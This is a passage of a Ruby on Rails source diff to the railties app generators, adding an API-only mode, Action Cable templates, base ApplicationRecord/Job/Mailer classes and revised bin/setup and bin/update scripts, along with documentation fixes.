@@ -336,7 +386,15 @@ module Rails end def spring_install? - !options[:skip_spring] && Process.respond_to?(:fork) && !RUBY_PLATFORM.include?("cygwin") + !options[:skip_spring] && !options.dev? && Process.respond_to?(:fork) && !RUBY_PLATFORM.include?("cygwin") + end + + def depend_on_listen? + !options[:skip_listen] && os_supports_listen_out_of_the_box? + end + + def os_supports_listen_out_of_the_box? + RbConfig::CONFIG['host_os'] =~ /darwin|linux/ end def run_bundle @@ -355,7 +413,7 @@ module Rails end def keep_file(destination) - create_file("#{destination}/.keep") unless options[:skip_keeps] + create_file("#{destination}/.keep") if keeps? end end end diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb index 813b8b629e..c72ec400a0 100644 --- a/railties/lib/rails/generators/base.rb +++ b/railties/lib/rails/generators/base.rb @@ -103,12 +103,12 @@ module Rails # hook_for :test_framework, as: :controller # end # - # And now it will lookup at: + # And now it will look up at: # # "test_unit:controller", "test_unit" # - # Similarly, if you want it to also lookup in the rails namespace, you just - # need to provide the :in value: + # Similarly, if you want it to also look up in the rails namespace, you + # just need to provide the :in value: # # class AwesomeGenerator < Rails::Generators::Base # hook_for :test_framework, in: :rails, as: :controller @@ -302,13 +302,13 @@ module Rails default_for_option(Rails::Generators.options, name, options, options[:default]) end - # Return default aliases for the option name given doing a lookup in + # Returns default aliases for the option name given doing a lookup in # Rails::Generators.aliases. def self.default_aliases_for_option(name, options) default_for_option(Rails::Generators.aliases, name, options, options[:aliases]) end - # Return default for the option name given doing a lookup in config. + # Returns default for the option name given doing a lookup in config. def self.default_for_option(config, name, options, default) if generator_name and c = config[generator_name.to_sym] and c.key?(name) c[name] diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb index 65563aa6db..7f00943d80 100644 --- a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb +++ b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb @@ -9,13 +9,6 @@ module Erb # :nodoc: view_base_path = File.join("app/views", class_path, file_name + '_mailer') empty_directory view_base_path - if self.behavior == :invoke - formats.each do |format| - layout_path = File.join("app/views/layouts", filename_with_extensions("mailer", format)) - template filename_with_extensions(:layout, format), layout_path - end - end - actions.each do |action| @action = action @@ -33,7 +26,7 @@ module Erb # :nodoc: end def file_name - @_file_name ||= super.gsub(/\_mailer/i, '') + @_file_name ||= super.gsub(/_mailer/i, '') end end end diff --git a/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb b/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb deleted file mode 100644 index 93110e74ad..0000000000 --- a/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb +++ /dev/null @@ -1,5 +0,0 @@ -<html> - <body> - <%%= yield %> - </body> -</html> diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb index d9713b0238..519b6c8603 100644 --- a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb +++ b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb @@ -14,17 +14,19 @@ <% attributes.each do |attribute| -%> <div class="field"> <% if attribute.password_digest? -%> - <%%= f.label :password %><br> + <%%= f.label :password %> <%%= f.password_field :password %> </div> + <div class="field"> - <%%= f.label :password_confirmation %><br> + <%%= f.label :password_confirmation %> <%%= f.password_field :password_confirmation %> <% else -%> - <%%= f.label :<%= attribute.column_name %> %><br> + <%%= f.label :<%= attribute.column_name %> %> <%%= f.<%= attribute.field_type %> :<%= attribute.column_name %> %> <% end -%> </div> + <% end -%> <div class="actions"> <%%= f.submit %> diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb index c3b8ef1181..5f4904fee1 100644 --- a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb +++ b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb @@ -28,4 +28,4 @@ <br> -<%%= link_to 'New <%= human_name %>', new_<%= singular_table_name %>_path %> +<%%= link_to 'New <%= singular_table_name.titleize %>', new_<%= singular_table_name %>_path %> diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb index 8145a26e22..7e437e7344 100644 --- a/railties/lib/rails/generators/generated_attribute.rb +++ b/railties/lib/rails/generators/generated_attribute.rb @@ -23,8 +23,9 @@ module Rails type = type.to_sym if type if type && reference?(type) - references_index = UNIQ_INDEX_OPTIONS.include?(has_index) ? { unique: true } : true - attr_options[:index] = references_index + if UNIQ_INDEX_OPTIONS.include?(has_index) + attr_options[:index] = { unique: true } + end end new(name, type, has_index, attr_options) diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb index 51e6d68bf0..87f2e1d42b 100644 --- a/railties/lib/rails/generators/migration.rb +++ b/railties/lib/rails/generators/migration.rb @@ -10,22 +10,22 @@ module Rails extend ActiveSupport::Concern attr_reader :migration_number, :migration_file_name, :migration_class_name - module ClassMethods - def migration_lookup_at(dirname) #:nodoc: + module ClassMethods #:nodoc: + def migration_lookup_at(dirname) Dir.glob("#{dirname}/[0-9]*_*.rb") end - def migration_exists?(dirname, file_name) #:nodoc: + def migration_exists?(dirname, file_name) migration_lookup_at(dirname).grep(/\d+_#{file_name}.rb$/).first end - def current_migration_number(dirname) #:nodoc: + def current_migration_number(dirname) migration_lookup_at(dirname).collect do |file| File.basename(file).split("_").first.to_i end.max.to_i end - def next_migration_number(dirname) #:nodoc: + def next_migration_number(dirname) raise NotImplementedError end end diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb index 36456e64f5..efbf51ddfb 100644 --- a/railties/lib/rails/generators/named_base.rb +++ b/railties/lib/rails/generators/named_base.rb @@ -18,8 +18,8 @@ module Rails parse_attributes! if respond_to?(:attributes) end - # Defines the template that would be used for the migration file. - # The arguments include the source template file, the migration filename etc. + # Overrides <tt>Thor::Actions#template</tt> so it can tell if + # a template is currently being created. no_tasks do def template(source, *args, &block) inside_template do @@ -129,6 +129,18 @@ module Rails uncountable? ? "#{plural_table_name}_index" : plural_table_name end + def show_helper + "#{singular_table_name}_url(@#{singular_table_name})" + end + + def edit_helper + "edit_#{show_helper}" + end + + def new_helper + "new_#{singular_table_name}_url" + end + def singular_table_name @singular_table_name ||= (pluralize_table_names? ? table_name.singularize : table_name) end @@ -141,10 +153,18 @@ module Rails @plural_file_name ||= file_name.pluralize end + def fixture_file_name + @fixture_file_name ||= (pluralize_table_names? ? plural_file_name : file_name) + end + def route_url @route_url ||= class_path.collect {|dname| "/" + dname }.join + "/" + plural_file_name end + def url_helper_prefix + @url_helper_prefix ||= (class_path + [file_name]).join('_') + end + # Tries to retrieve the application name or simply return application. def application_name if defined?(Rails) && Rails.application @@ -179,6 +199,10 @@ module Rails !defined?(ActiveRecord::Base) || ActiveRecord::Base.pluralize_table_names end + def mountable_engine? + defined?(ENGINE_ROOT) && namespaced? + end + # Add a class collisions name to be checked on class initialization. You # can supply a hash with a :prefix or :suffix to be tested. # diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/rails/generators/rails/app/USAGE index 691095f33f..28df6ebf44 100644 --- a/railties/lib/rails/generators/rails/app/USAGE +++ b/railties/lib/rails/generators/rails/app/USAGE @@ -12,4 +12,3 @@ Example: rails new ~/Code/Ruby/weblog This generates a skeletal Rails installation in ~/Code/Ruby/weblog. - See the README in the newly created application to get going. diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb index 899b33e529..4d5bb364b2 100644 --- a/railties/lib/rails/generators/rails/app/app_generator.rb +++ b/railties/lib/rails/generators/rails/app/app_generator.rb @@ -57,8 +57,7 @@ module Rails directory 'app' keep_file 'app/assets/images' - keep_file 'app/mailers' - keep_file 'app/models' + empty_directory_with_keep_file 'app/assets/javascripts/channels' unless options[:skip_action_cable] keep_file 'app/controllers/concerns' keep_file 'app/models/concerns' @@ -79,6 +78,9 @@ module Rails template "application.rb" template "environment.rb" template "secrets.yml" + template "cable.yml" unless options[:skip_action_cable] + template "puma.rb" unless options[:skip_puma] + template "spring.rb" if spring_install? directory "environments" directory "initializers" @@ -90,20 +92,42 @@ module Rails cookie_serializer_config_exist = File.exist?('config/initializers/cookies_serializer.rb') callback_terminator_config_exist = File.exist?('config/initializers/callback_terminator.rb') active_record_belongs_to_required_by_default_config_exist = File.exist?('config/initializers/active_record_belongs_to_required_by_default.rb') + to_time_preserves_timezone_config_exist = File.exist?('config/initializers/to_time_preserves_timezone.rb') + action_cable_config_exist = File.exist?('config/cable.yml') + ssl_options_exist = File.exist?('config/initializers/ssl_options.rb') + rack_cors_config_exist = File.exist?('config/initializers/cors.rb') config + gsub_file 'config/environments/development.rb', /^(\s+)config\.file_watcher/, '\1# config.file_watcher' + unless callback_terminator_config_exist remove_file 'config/initializers/callback_terminator.rb' end unless cookie_serializer_config_exist - gsub_file 'config/initializers/cookies_serializer.rb', /json/, 'marshal' + gsub_file 'config/initializers/cookies_serializer.rb', /json(?!,)/, 'marshal' end unless active_record_belongs_to_required_by_default_config_exist remove_file 'config/initializers/active_record_belongs_to_required_by_default.rb' end + + unless to_time_preserves_timezone_config_exist + remove_file 'config/initializers/to_time_preserves_timezone.rb' + end + + unless action_cable_config_exist + template 'config/cable.yml' + end + + unless ssl_options_exist + remove_file 'config/initializers/ssl_options.rb' + end + + unless rack_cors_config_exist + remove_file 'config/initializers/cors.rb' + end end def database_yml @@ -141,6 +165,7 @@ module Rails end def tmp + empty_directory_with_keep_file "tmp" empty_directory "tmp/cache" empty_directory "tmp/cache/assets" end @@ -174,6 +199,9 @@ module Rails class_option :version, type: :boolean, aliases: "-v", group: :rails, desc: "Show Rails version number and quit" + class_option :api, type: :boolean, + desc: "Preconfigure smaller stack for API only apps" + def initialize(*args) super @@ -184,6 +212,10 @@ module Rails if !options[:skip_active_record] && !DATABASES.include?(options[:database]) raise Error, "Invalid value for --database option. Supported for preconfiguration are: #{DATABASES.join(", ")}." end + + # Force sprockets to be skipped when generating API only apps. + # Can't modify options hash as it's frozen by default. + self.options = options.merge(skip_sprockets: true, skip_javascript: true).freeze if options[:api] end public_task :set_default_accessors! @@ -251,6 +283,28 @@ module Rails build(:vendor) end + def delete_app_assets_if_api_option + if options[:api] + remove_dir 'app/assets' + remove_dir 'lib/assets' + remove_dir 'tmp/cache/assets' + remove_dir 'vendor/assets' + end + end + + def delete_app_helpers_if_api_option + if options[:api] + remove_dir 'app/helpers' + remove_dir 'test/helpers' + end + end + + def delete_application_layout_file_if_api_option + if options[:api] + remove_file 'app/views/layouts/application.html.erb' + end + end + def delete_js_folder_skipping_javascript if options[:skip_javascript] remove_dir 'app/assets/javascripts' @@ -263,12 +317,49 @@ module Rails end end + def delete_application_record_skipping_active_record + if options[:skip_active_record] + remove_file 'app/models/application_record.rb' + end + end + + def delete_action_mailer_files_skipping_action_mailer + if options[:skip_action_mailer] + remove_file 'app/mailers/application_mailer.rb' + remove_file 'app/views/layouts/mailer.html.erb' + remove_file 'app/views/layouts/mailer.text.erb' + end + end + def delete_active_record_initializers_skipping_active_record if options[:skip_active_record] remove_file 'config/initializers/active_record_belongs_to_required_by_default.rb' end end + def delete_action_cable_files_skipping_action_cable + if options[:skip_action_cable] + remove_file 'config/cable.yml' + remove_file 'app/assets/javascripts/cable.js' + remove_dir 'app/channels' + end + end + + def delete_non_api_initializers_if_api_option + if options[:api] + remove_file 'config/initializers/session_store.rb' + remove_file 'config/initializers/cookies_serializer.rb' + remove_file 'config/initializers/request_forgery_protection.rb' + remove_file 'config/initializers/per_form_csrf_tokens.rb' + end + end + + def delete_api_initializers + unless options[:api] + remove_file 'config/initializers/cors.rb' + end + end + def finish_template build(:leftovers) end @@ -319,7 +410,9 @@ module Rails if app_const =~ /^\d/ raise Error, "Invalid application name #{app_name}. Please give a name which does not start with numbers." elsif RESERVED_NAMES.include?(app_name) - raise Error, "Invalid application name #{app_name}. Please give a name which does not match one of the reserved rails words." + raise Error, "Invalid application name #{app_name}. Please give a " \ + "name which does not match one of the reserved rails " \ + "words: #{RESERVED_NAMES.join(", ")}" elsif Object.const_defined?(app_const_base) raise Error, "Invalid application name #{app_name}, constant #{app_const_base} is already in use. Please choose another application name." end diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile index c11bb58bfa..86143ca1f1 100644 --- a/railties/lib/rails/generators/rails/app/templates/Gemfile +++ b/railties/lib/rails/generators/rails/app/templates/Gemfile @@ -15,31 +15,41 @@ source 'https://rubygems.org' # Use ActiveModel has_secure_password # gem 'bcrypt', '~> 3.1.7' -# Use Unicorn as the app server -# gem 'unicorn' - # Use Capistrano for deployment # gem 'capistrano-rails', group: :development -group :development, :test do +<%- if options.api? -%> +# Use Rack CORS for handling Cross-Origin Resource Sharing (CORS), making cross-origin AJAX possible +# gem 'rack-cors' + +<%- end -%> <% if RUBY_ENGINE == 'ruby' -%> +group :development, :test do # Call 'byebug' anywhere in the code to stop execution and get a debugger console - gem 'byebug' + gem 'byebug', platform: :mri +end - # Access an IRB console on exception pages or by using <%%= console %> in views +group :development do +<%- unless options.api? -%> + # Access an IRB console on exception pages or by using <%%= console %> anywhere in the code. <%- if options.dev? || options.edge? -%> - gem 'web-console', github: "rails/web-console" + gem 'web-console', github: 'rails/web-console' <%- else -%> - gem 'web-console', '~> 2.0' + gem 'web-console' <%- end -%> -<%- if spring_install? %> +<%- end -%> +<% if depend_on_listen? -%> + gem 'listen', '~> 3.0.5' +<% end -%> +<% if spring_install? -%> # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring gem 'spring' +<% if depend_on_listen? -%> + gem 'spring-watcher-listen', '~> 2.0.0' <% end -%> <% end -%> end -<% if RUBY_PLATFORM.match(/bccwin|cygwin|emx|mingw|mswin|wince|java/) -%> +<% end -%> # Windows does not include zoneinfo files, so bundle the tzinfo-data gem gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby] -<% end -%> diff --git a/railties/lib/rails/generators/rails/app/templates/README.md b/railties/lib/rails/generators/rails/app/templates/README.md index 55e144da18..7db80e4ca1 100644 --- a/railties/lib/rails/generators/rails/app/templates/README.md +++ b/railties/lib/rails/generators/rails/app/templates/README.md @@ -1,4 +1,4 @@ -## README +# README This README would normally document whatever steps are necessary to get the application up and running. diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile b/railties/lib/rails/generators/rails/app/templates/Rakefile index ba6b733dd2..e85f913914 100644 --- a/railties/lib/rails/generators/rails/app/templates/Rakefile +++ b/railties/lib/rails/generators/rails/app/templates/Rakefile @@ -1,6 +1,6 @@ # Add your own tasks in files placed in lib/tasks ending in .rake, # for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. -require File.expand_path('../config/application', __FILE__) +require_relative 'config/application' Rails.application.load_tasks diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/config/manifest.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/config/manifest.js.tt new file mode 100644 index 0000000000..f4ee1409af --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/config/manifest.js.tt @@ -0,0 +1,7 @@ +<% unless options.api? -%> +//= link_tree ../images +<% end -%> +<% unless options.skip_javascript -%> +//= link_directory ../javascripts .js +<% end -%> +//= link_directory ../stylesheets .css diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt index cb86978d4c..c88426ec06 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt @@ -5,7 +5,7 @@ // or any plugin's vendor/assets/javascripts directory can be referenced here using a relative path. // // It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the -// compiled file. +// compiled file. JavaScript code in this file should be added after the last require_* statement. // // Read Sprockets README (https://github.com/rails/sprockets#sprockets-directives) for details // about supported directives. diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/cable.js b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/cable.js new file mode 100644 index 0000000000..71ee1e66de --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/cable.js @@ -0,0 +1,13 @@ +// Action Cable provides the framework to deal with WebSockets in Rails. +// You can generate new channels where WebSocket features live using the rails generate channel command. +// +//= require action_cable +//= require_self +//= require_tree ./channels + +(function() { + this.App || (this.App = {}); + + App.cable = ActionCable.createConsumer(); + +}).call(this); diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css index 0cdd2788d0..0ebd7fe829 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css @@ -7,7 +7,8 @@ * * You're free to add application-wide styles to this file and they'll appear at the bottom of the * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS - * files in this directory. It is generally better to create a new file per style scope. + * files in this directory. Styles in this file should be added after the last require_* statement. + * It is generally better to create a new file per style scope. * *= require_tree . *= require_self diff --git a/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/channel.rb b/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/channel.rb new file mode 100644 index 0000000000..d56fa30f4d --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/channel.rb @@ -0,0 +1,5 @@ +# Be sure to restart your server when you modify this file. Action Cable runs in a loop that does not support auto reloading. +module ApplicationCable + class Channel < ActionCable::Channel::Base + end +end diff --git a/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/connection.rb b/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/connection.rb new file mode 100644 index 0000000000..b4f41389ad --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/connection.rb @@ -0,0 +1,5 @@ +# Be sure to restart your server when you modify this file. Action Cable runs in a loop that does not support auto reloading. +module ApplicationCable + class Connection < ActionCable::Connection::Base + end +end diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt index d83690e1b9..f726fd6305 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt @@ -1,5 +1,7 @@ -class ApplicationController < ActionController::Base +class ApplicationController < ActionController::<%= options[:api] ? "API" : "Base" %> +<%- unless options[:api] -%> # Prevent CSRF attacks by raising an exception. # For APIs, you may want to use :null_session instead. protect_from_forgery with: :exception +<%- end -%> end diff --git a/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb b/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb new file mode 100644 index 0000000000..a009ace51c --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb @@ -0,0 +1,2 @@ +class ApplicationJob < ActiveJob::Base +end diff --git a/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb b/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb new file mode 100644 index 0000000000..286b2239d1 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb @@ -0,0 +1,4 @@ +class ApplicationMailer < ActionMailer::Base + default from: 'from@example.com' + layout 'mailer' +end diff --git a/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb b/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb new file mode 100644 index 0000000000..10a4cba84d --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb @@ -0,0 +1,3 @@ +class ApplicationRecord < ActiveRecord::Base + self.abstract_class = true +end diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt index 75ea52828e..d51f79bd49 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt +++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt @@ -1,23 +1,23 @@ <!DOCTYPE html> <html> -<head> - <title><%= camelized %></title> - <%- if options[:skip_javascript] -%> - <%%= stylesheet_link_tag 'application', media: 'all' %> - <%- else -%> - <%- if gemfile_entries.any? { |m| m.name == 'turbolinks' } -%> - <%%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track' => true %> - <%%= javascript_include_tag 'application', 'data-turbolinks-track' => true %> + <head> + <title><%= camelized %></title> + <%%= csrf_meta_tags %> + + <%- if options[:skip_javascript] -%> + <%%= stylesheet_link_tag 'application', media: 'all' %> <%- else -%> - <%%= stylesheet_link_tag 'application', media: 'all' %> - <%%= javascript_include_tag 'application' %> + <%- if gemfile_entries.any? { |m| m.name == 'turbolinks' } -%> + <%%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track': 'reload' %> + <%%= javascript_include_tag 'application', 'data-turbolinks-track': 'reload' %> + <%- else -%> + <%%= stylesheet_link_tag 'application', media: 'all' %> + <%%= javascript_include_tag 'application' %> + <%- end -%> <%- end -%> - <%- end -%> - <%%= csrf_meta_tags %> -</head> -<body> - -<%%= yield %> + </head> -</body> + <body> + <%%= yield %> + </body> </html> diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt new file mode 100644 index 0000000000..55f3675d49 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt @@ -0,0 +1,13 @@ +<!DOCTYPE html> +<html> + <head> + <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> + <style> + /* Email styles need to be inline */ + </style> + </head> + + <body> + <%%= yield %> + </body> +</html> diff --git a/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.text.erb.tt index 6363733e6e..6363733e6e 100644 --- a/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb +++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.text.erb.tt diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rails b/railties/lib/rails/generators/rails/app/templates/bin/rails index 80ec8080ab..513a2e0183 100644 --- a/railties/lib/rails/generators/rails/app/templates/bin/rails +++ b/railties/lib/rails/generators/rails/app/templates/bin/rails @@ -1,3 +1,3 @@ -APP_PATH = File.expand_path('../../config/application', __FILE__) +APP_PATH = File.expand_path('../config/application', __dir__) require_relative '../config/boot' require 'rails/commands' diff --git a/railties/lib/rails/generators/rails/app/templates/bin/setup b/railties/lib/rails/generators/rails/app/templates/bin/setup index eee810be30..acae810c1a 100644 --- a/railties/lib/rails/generators/rails/app/templates/bin/setup +++ b/railties/lib/rails/generators/rails/app/templates/bin/setup @@ -5,13 +5,17 @@ include FileUtils # path to your application root. APP_ROOT = Pathname.new File.expand_path('../../', __FILE__) +def system!(*args) + system(*args) || abort("\n== Command #{args} failed ==") +end + chdir APP_ROOT do # This script is a starting point to setup your application. # Add necessary setup steps to this file. puts '== Installing dependencies ==' - system 'gem install bundler --conservative' - system('bundle check') or system('bundle install') + system! 'gem install bundler --conservative' + system('bundle check') || system!('bundle install') # puts "\n== Copying sample files ==" # unless File.exist?('config/database.yml') @@ -19,12 +23,11 @@ chdir APP_ROOT do # end puts "\n== Preparing database ==" - system 'ruby bin/rake db:setup' + system! 'bin/rails db:setup' puts "\n== Removing old logs and tempfiles ==" - rm_f Dir.glob('log/*') - rm_rf 'tmp/cache' + system! 'bin/rails log:clear tmp:clear' puts "\n== Restarting application server ==" - touch 'tmp/restart.txt' + system! 'bin/rails restart' end diff --git a/railties/lib/rails/generators/rails/app/templates/bin/update b/railties/lib/rails/generators/rails/app/templates/bin/update new file mode 100644 index 0000000000..770a605fed --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/bin/update @@ -0,0 +1,28 @@ +require 'pathname' +require 'fileutils' +include FileUtils + +# path to your application root. +APP_ROOT = Pathname.new File.expand_path('../../', __FILE__) + +def system!(*args) + system(*args) || abort("\n== Command #{args} failed ==") +end + +chdir APP_ROOT do + # This script is a way to update your development environment automatically. + # Add necessary update steps to this file. + + puts '== Installing dependencies ==' + system! 'gem install bundler --conservative' + system('bundle check') || system!('bundle install') + + puts "\n== Updating database ==" + system! 'bin/rails db:migrate' + + puts "\n== Removing old logs and tempfiles ==" + system! 'bin/rails log:clear tmp:clear' + + puts "\n== Restarting application server ==" + system! 'bin/rails restart' +end diff --git a/railties/lib/rails/generators/rails/app/templates/config.ru b/railties/lib/rails/generators/rails/app/templates/config.ru index bd83b25412..f7ba0b527b 100644 --- a/railties/lib/rails/generators/rails/app/templates/config.ru +++ b/railties/lib/rails/generators/rails/app/templates/config.ru @@ -1,4 +1,5 @@ # This file is used by Rack-based servers to start the application. -require ::File.expand_path('../config/environment', __FILE__) +require_relative 'config/environment' + run Rails.application diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb index a2661bfb51..c0a0bd0a3e 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/application.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb @@ -1,4 +1,4 @@ -require File.expand_path('../boot', __FILE__) +require_relative 'boot' <% if include_all_railties? -%> require 'rails/all' @@ -11,6 +11,7 @@ require "active_job/railtie" require "action_controller/railtie" <%= comment_if :skip_action_mailer %>require "action_mailer/railtie" require "action_view/railtie" +<%= comment_if :skip_action_cable %>require "action_cable/engine" <%= comment_if :skip_sprockets %>require "sprockets/railtie" <%= comment_if :skip_test %>require "rails/test_unit/railtie" <% end -%> @@ -24,13 +25,12 @@ module <%= app_const_base %> # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. +<%- if options[:api] -%> - # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. - # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. - # config.time_zone = 'Central Time (US & Canada)' - - # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. - # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] - # config.i18n.default_locale = :de + # Only loads a smaller set of middleware suitable for API only apps. + # Middleware like session, flash, cookies can be added back manually. + # Skip views, helpers and assets when generating a new resource. + config.api_only = true +<%- end -%> end end diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb index 6b750f00b1..30f5120df6 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/boot.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb @@ -1,3 +1,3 @@ -ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) +ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__) require 'bundler/setup' # Set up gems listed in the Gemfile. diff --git a/railties/lib/rails/generators/rails/app/templates/config/cable.yml b/railties/lib/rails/generators/rails/app/templates/config/cable.yml new file mode 100644 index 0000000000..0bbde6f74f --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/cable.yml @@ -0,0 +1,9 @@ +development: + adapter: async + +test: + adapter: async + +production: + adapter: redis + url: redis://localhost:6379/1 diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml index f5b62e8fb3..f2c4922e7d 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml @@ -1,4 +1,4 @@ -# MySQL. Versions 4.1 and 5.0 are recommended. +# MySQL. Versions 5.0 and up are supported. # # Install the MySQL driver: # gem install activerecord-jdbcmysql-adapter @@ -7,7 +7,7 @@ # gem 'activerecord-jdbcmysql-adapter' # # And be sure to use new-style password hashing: -# http://dev.mysql.com/doc/refman/5.6/en/old-client.html +# http://dev.mysql.com/doc/refman/5.7/en/old-client.html # default: &default adapter: mysql diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml index 9e99264d33..80ceb9df92 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml @@ -1,4 +1,4 @@ -# PostgreSQL. Versions 8.2 and up are supported. +# PostgreSQL. Versions 9.1 and up are supported. # # Configure Using Gemfile # gem 'activerecord-jdbcpostgresql-adapter' diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml index b0767bd93a..193423e84a 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml @@ -1,4 +1,4 @@ -# MySQL. Versions 5.0+ are recommended. +# MySQL. Versions 5.0 and up are supported. # # Install the MySQL driver # gem install mysql2 @@ -7,7 +7,7 @@ # gem 'mysql2' # # And be sure to use new-style password hashing: -# http://dev.mysql.com/doc/refman/5.6/en/old-client.html +# http://dev.mysql.com/doc/refman/5.7/en/old-client.html # default: &default adapter: mysql2 diff --git 